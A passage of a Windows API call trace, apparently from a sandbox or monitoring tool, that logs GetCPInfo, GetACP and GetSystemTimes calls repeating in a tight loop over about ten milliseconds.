(in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.794] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.794] GetACP () returned 0x4e4 [0056.794] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.795] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.795] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.796] GetACP () returned 0x4e4 [0056.796] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.797] GetACP () returned 0x4e4 [0056.797] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.798] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.798] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.799] GetACP () returned 0x4e4 [0056.799] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.800] GetACP () returned 0x4e4 [0056.800] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.801] GetACP () returned 0x4e4 [0056.801] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.801] GetACP () returned 0x4e4 [0056.801] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.801] GetACP () returned 0x4e4 [0056.801] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.801] GetACP () returned 0x4e4 [0056.801] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.801] GetACP () returned 0x4e4 [0056.801] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.801] GetACP () returned 0x4e4 [0056.801] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.802] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.802] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 [0056.803] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.803] GetACP () returned 0x4e4 